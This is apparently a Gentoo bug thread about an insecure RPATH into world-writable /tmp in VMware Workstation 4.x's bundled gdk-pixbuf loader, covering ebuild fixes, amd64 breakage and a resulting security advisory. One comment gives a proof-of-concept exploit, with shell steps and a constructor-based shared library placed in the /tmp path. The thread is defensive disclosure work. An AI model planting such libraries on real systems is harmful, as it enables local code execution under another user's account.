$ chrpath --list /opt/vmware/lib/lib/libgdk_pixbuf.so.2/libpixbufloader-xpm.so.1.0.0 /opt/vmware/lib/lib/libgdk_pixbuf.so.2/libpixbufloader-xpm.so.1.0.0: RPATH=/tmp/rrdharan/out/lib vmware-workstation provides it's own libraries to reduce runtime dependencies, should a user not have libgdk_pixbuf installed vmware will use it's own version, which includes an rpath in an world writable directory (/tmp/rrdharan/out/lib, presumably where a vmware employee compiled it). The rpath should be removed for security reasons, as the vmware-workstation ebuild does not depend on libgdk_pixbuf if a user doesn't have them installed, a malicious user could create libraries there and get the vmware user to execute arbritrary code, (see bug 75181, comment #6 for an example). Reproducible: Always Steps to Reproduce: 1. 2. 3.
So... to simplify all the rpath stuff, vmware-workstation should just RDEPEND on gdk-pixbuf, and we should remove the vmware-provided library via the ebuild, correct?
Chris: sure, that would solve it :)
Also, which vmware versions does this affect? Is this still a problem with the vmware 5 betas/rc1? If so, have you reported it upstream, so that they don't make the same mistake in vmware 5 final?
Chris: i've just checked 5.0_rc1, it's not affected..so it's only the 4.x versions :)
If this was only present in the libgdk_pixbuf stuff and not any of the other libraries, then it is resolved for vmware-workstation 3.x and 4.5
Nice, so I've just emerged vmware-workstation-4.5.2.8848-r3, upgrading from vmware-workstation-4.5.2.8848-r2, and vmware doesn't work anymore. I have an amd64. dan@asgard:~> vmware /opt/vmware/lib/bin/vmware: error while loading shared libraries: libgdk_pixbuf.so.2: cannot open shared objectfile: No such file or directory dan@asgard:~> locate libgdk_pixbuf.so.2 /usr/lib/libgdk_pixbuf.so.2 /usr/lib/libgdk_pixbuf.so.2.0.0 so, if i try to understand what's happening, i have libgdk_pixbuf for 64 bits. vmware needs libgdk_pixbuf 32 bits, it comes with them "to reduce runtime dependencies", but you "remove[d] the vmware-provided library via the ebuild" to fix a security risk, and vmware cannot run anymore as it has no access to the libraries. because vmware is now RDEPEND on gdk-pixbuf you thought it's safe to delete the vmare libs, but my gdk-pixbuf installation is not usable by vmware, since it's on 64 bits. as a quick fix, you should delete the vmware libs only on x86, not on amd64. also, RDEPEND should be only for x86, as for amd64 it doesn't matter. best wishes, Dan Laba.
[ebuild NS ] sys-libs/db-1.85-r2 14 kB [ebuild N ] media-sound/esound-0.2.34 +alsa -ipv6 +tcpd 310 kB [ebuild N ] gnome-base/orbit-0.5.17 1,040 kB [ebuild N ] gnome-base/gnome-libs-1.4.2 -doc -kde -nls 2,807 kB [ebuild N ] media-libs/gdk-pixbuf-0.22.0-r3 -doc +mmx 388 kB [ebuild U ] app-emulation/vmware-workstation-4.5.2.8848-r3 [4.5.2.8848-r2] 257 kB gdk-pixbuf? I don't need it! My vmwarek-workstation-4.5.2.8848-r2 worked very good without it, :(.
*** Bug 81462 has been marked as a duplicate of this bug. ***
Fine... I'll just package.mask vmware-workstation until a proper solution is reached.
To Severin: you don't need it as you have the "old" version with own gdk-pixbuf. To Chris: as there is only one vmware-workstation-4.x ebuild when you mask it then there will be none left. IMHO not that good solution. Maybe leave gdk-pixbuf for amd64 and print a warning about this bug here...
I will be testing a fix for this tonight when I get home (and access to my amd64) and will be unmasking the package once I have fixed it.
Alright... I stripped the rpath locally and made a tarball of the new libraries. There is a new -r4 ebuild for vmware-workstation 4.5 that pulls in these files and removes the ones shipped with vmware. This should work on both amd64 and x86. I have also removed the package.mask that had been added for vmware-workstation. This should now be resoved from the ebuild standpoint.
The -r4 version improved a little bit, as now we can see the vmware window for about 1/4 of a second ... but it seems that there still is a problem with gdk-pixbux, next is what I get when I launch vmware : ** WARNING **: Unable to load module: libpixbufloader-xpm.so: libpixbufloader-xpm.so: Ne peut ouvrir le fichier d'objet partag
The -r4 version improved a little bit, as now we can see the vmware window for about 1/4 of a second ... but it seems that there still is a problem with gdk-pixbux, next is what I get when I launch vmware : ** WARNING **: Unable to load module: libpixbufloader-xpm.so: libpixbufloader-xpm.so: Ne peut ouvrir le fichier d'objet partagé: Aucun fichier ou répertoire de ce type ** WARNING **: Can't find gdk-pixbuf module for parsing inline XPM data ** CRITICAL **: file gdk-pixbuf.c: line 331 (gdk_pixbuf_get_width): assertion `pixbuf != NULL' failed. ** CRITICAL **: file gdk-pixbuf.c: line 347 (gdk_pixbuf_get_height): assertion `pixbuf != NULL' failed. ** CRITICAL **: file gdk-pixbuf-render.c: line 349 (gdk_pixbuf_render_pixmap_and_mask): assertion `pixbuf != NULL' failed. ** CRITICAL **: file gdk-pixbuf.c: line 299 (gdk_pixbuf_get_bits_per_sample): assertion `pixbuf != NULL' failed. ** CRITICAL **: file gdk-pixbuf.c: line 283 (gdk_pixbuf_get_has_alpha): assertion `pixbuf != NULL' failed. ** CRITICAL **: file gdk-pixbuf.c: line 251 (gdk_pixbuf_get_colorspace): assertion `pixbuf != NULL' failed. ** CRITICAL **: file gdk-pixbuf.c: line 170 (gdk_pixbuf_new): assertion `bits_per_sample == 8' failed. ** CRITICAL **: file gdk-pixbuf-util.c: line 114 (gdk_pixbuf_copy_area): assertion `src_pixbuf != NULL' failed.
Strange... it worked perfectly fine for me... the only difference in the libraries is the rpath has been removed. Otherwise, they are identical to the vmware-provided ones.
There was a typo, I corrected it (hope that's okay), after that it works perfectly here, Thanks Chris :) I've reported this upstream, as an example of exploitation (for future reference): Make sure you havnt got gdk-pixbuf installed. $ mkdir -p /tmp/rrdharan/out/lib/gdk-pixbuf/loaders/ $ gcc -shared rpath.c -o /tmp/rrdharan/out/lib/gdk-pixbuf/loaders/libpixbufloader-xpm.so $ vmware exploit code now in control! ** WARNING **: gdk-pixbuf XPM module lacks XPM data capability where rpath.c contains: #include <stdio.h> void __attribute__ ((constructor)) rpath_exploit (void); void rpath_exploit (void) { fprintf (stderr, "exploit code now in control!\n"); /* insert evil code here */ } as you can see /tmp is a world writable directory where anyone can drop code, which would be executed on running vmware.
After doing an unmerge of gdk_pixbuf, unmerge vmware, emerge vmware I was still having the same problem. Here is what I've done to make it work : edit the ebuild, and comment the following lines : rm -rf ${Ddir}/lib/lib/libgdk_pixbuf.so.2/libpixbufloader-{png,xpm}.so.1.0.0 so the exploit is back in, but it's working ... I can do more test if you want me to, now that I know how to get it back online !
oopss ! I meant edit the ebuild, and UNcomment the following lines : sorry
Hmm... Bertrand's problem tend to prove that the fix is buggy... Anyone else reproducing the problem ?
Try the -r5 ebuild, as it uses a different method (changing the rpath to a non-existent, non-writeable directory). Blame taviso if it doesn't work... ;]
I think Bertrand was seeing the typo I corrected Chris: -r5 works fine here, and prevents the rpath and search path vulnerabilities :) No response form upstream they say here http://www.vmware.com/support/using/security_response.html they will create a "knowledge base article" as soon as they are informed (email was sent on the 9th), but I can't see one.
It's working great now ! Thanks for everything
REady for GLSA
GLSA 200502-18, good work Tavis !
This was fixed in he 3.x branch with vmware-workstation-3.2.1.2242-r4, which isn't listed in the GLSA, causing a false positive in ferringb's vulnerabilities script.
updated GLSA in cvs
